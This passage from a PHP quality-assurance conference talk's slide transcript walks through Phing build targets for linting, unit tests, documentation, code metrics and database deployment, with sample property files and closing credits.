  184. 184. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  185. 185. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <project name="Application build" default="phplint">
  186. 186. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />
  187. 187. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
  188. 188. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>
  189. 189. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build </project>
  190. 190. build.properties project.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle # AB Testing properties abrequests=1000 abconcurrency=10
  191. 191. local.properties project.website=http://qademo.local abrequests=1000 abconcurrency=10 db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo
  192. 192. Let’s  run  it
  193. 193. Artifacts • some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run
  194. 194. Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>
  195. 195. phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>
  196. 196. PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>
  197. 197. PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>
  198. 198. Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>
  199. 199. PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>
  200. 200. PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>
  201. 201. PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>
  202. 202. Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>
  203. 203. Other things to automate • server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync • execute remote commands with SSH • … so much more
  204. 204. Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>
  205. 205. Build  it
  206. 206. Continuous Integration
  207. 207. Online service Auto hook GitHub Direct PHPUnit testing Free for OSS projects Self hosted Connects to SCM Unit tests Dependency Metrics Documentation Violation Report Mess Detection Free OSS
  208. 208. Now you are a winner!
  209. 209. Team Works!
  210. 210. Conclusion
  211. 211. Get your information in a consistent, automated way and make it accessible for the team More people can better safeguard the code!
  212. 212. Recommended  reading www.owasp.org planet.phpunit.de (just click on the links)
  213. 213. Recommended  reading • OOD  Quality  Metrics -­‐ Robert  Cecil  MarFn Free h@p://www.objectmentor.com/publicaFons/oodmetrc.pdf
  214. 214. #PHPBNL14 January 25 - 26, 2014
  215. 215. https://joind.in/9041 If you liked it, thank you! If not, tell me how to improve this talk
  216. 216. Michelangelo van Dam Zend Certified Engineer michelangelo@in2it.be PHP Consulting - QA audits - Training www.in2it.be
  217. 217. Credits I’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 coffee: http://www.flickr.com/photos/nalundgaard/3167849171 chris hartjes: http://www.flickr.com/photos/akrabat/8421560178 mount everest: http://upload.wikimedia.org/wikipedia/commons/0/00/Nepal_Mount_Everest_And_Ama_dablam.jpg everybody likes this: http://www.flickr.com/photos/19marksdesign/5268732048 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515
  218. 218. Thank you

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